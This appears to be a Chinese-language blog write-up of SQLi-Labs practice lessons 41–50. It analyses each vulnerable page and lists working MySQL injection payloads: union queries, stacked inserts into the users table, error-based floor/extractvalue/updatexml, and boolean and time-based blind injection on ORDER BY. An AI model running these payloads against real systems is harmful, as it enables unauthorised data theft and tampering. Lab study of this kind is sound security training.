人过留名,雁过留声
人生天地间,凡有大动静处
必有猪头
Less 41
① 源码分析
参数直接获取
参数直接拼接(数字型注入)
有数据回显
没有错误信息回显(也无伤大雅,构造的payload如果有错就没有回显而已)
mysqli_multi_query()堆叠注入
② 漏洞利用
可以先通过普通注入获取数据库,数据表,数据列,字段名
然后结合堆叠注入再进行进一步操作,思路和 Less39 差不多
1.普通注入
?id=0 union select 1,2,3
2.堆叠注入
?id=1;insert into users(id,username,password) values ('666','zhutou','zhutou');
Less 42
① 源码分析
username 被过滤;password 没有过滤
单引号引用参数(字符型注入)
mysqli_multi_query()堆叠注入
② 漏洞利用
password 没被过滤,可以在 password 处构造 payload
同样可以通过普通 sql 注入得知敏感信息,然后结合堆叠注入进行数据库操作
-
在 index.php 页面的表单随便提交参数,打开开发者工具(f12)查看参数提交方式。
-
由于在 index.php 提交的参数要传到 login.php 文件进行操作,所以要在 login.php 页面进行 POST 提交参数操作。
login_user=1&login_password=2';insert into users(id,username,password) values ('888','zhutou1','zhutou1'); --+
Less 43
源码分析
和 Less 42 差不多的思路,就是参数被单引号+括号引用,注意采取相应的方法闭合即可
Less 44
源码分析
和 Less 42 相比的区别就是没有 mysqli_error($con1) 错误信息回显。注入的思路和 Less 42 一致。
Less 45
源码分析
和 Less 43 相比的区别就是没有 mysqli_error($con1) 错误信息回显。注入的思路和 Less 43 一致。
Less 46
① 源码分析
order by 注入不比 union 注入,使用报错注入,rand(true/false),延时注入。
mysql_query()单语句操作
有错误信息回显
② 漏洞利用
sort=1 desc或者(1 asc),显示结果不同,则表明可以注入。(升序/降序)
报错注入:
floor 注入
extractvalue 注入
updatexml 注入
(PS:MySQL 5.1.5版本中添加了对XML文档进行查询和修改的两个函数:extractvalue、updatexml)
1. 升序
?sort=1 asc
2. 降序
?sort=1 desc
3. 报错注入
3.1 floor 注入
?sort=(select 1 from(select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a)
3.2 extractvalue 注入
extractvalue(1,concat(0x7e,(database()),0x7e))
3.3 updatexml 注入
updatexml(1,concat(0x7e,(database()),0x7e),1)
Less 47
① 源码分析
和 Less 46 相比,参数被单引号引用(字符型注入)
有错误信息回显
② 漏洞利用
报错注入
注意单引号闭合和注释符使用
floor 注入
?sort=1' and (select 1 from(select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
extractvalue 注入和 updatexml 注入同理可得。
Less 48
① 源码分析
和 Less 46 相比就是没有错误信息回显
② 漏洞利用
没有错误信息回显,所以不能使用报错注入
使用 rand(true/false) 对回显信息进行判断
1. rand(true) == rand(1)
?sort=rand(1)
2. rand(false) == rand(0)
?sort=rand(0)
3. 猜测数据库
如果当前数据库名的第一个字母的 ASCII 值大于0,则表格回显的格式和 rand(1) 一致;如果小于或等于0,则表格回显的格式和 rand(0) 一致。
?sort=rand(ascii(substring(database(),0,1))>0)
Less 49
① 源码分析
和 Less 48 相比,就是构造 sql 语句的时候对参数进行单引号引用并拼接
② 漏洞利用
单引号闭合
使用延时注入
每遍历一个条目延时1秒
?sort=1' and if(ascii(substring(database(),0,1))>0,1,sleep(1)) %23
Less 50
① 源码分析
order by 的堆叠注入
② 漏洞利用
可以利用 order by 的普通注入获取数据库敏感信息,然后使用堆叠注入对敏感信息加以利用。
向 users 表插入信息
?sort=1;insert into users(id,username,password) values ('886','zhutou8','zhutou8');
猪头
2020.1.24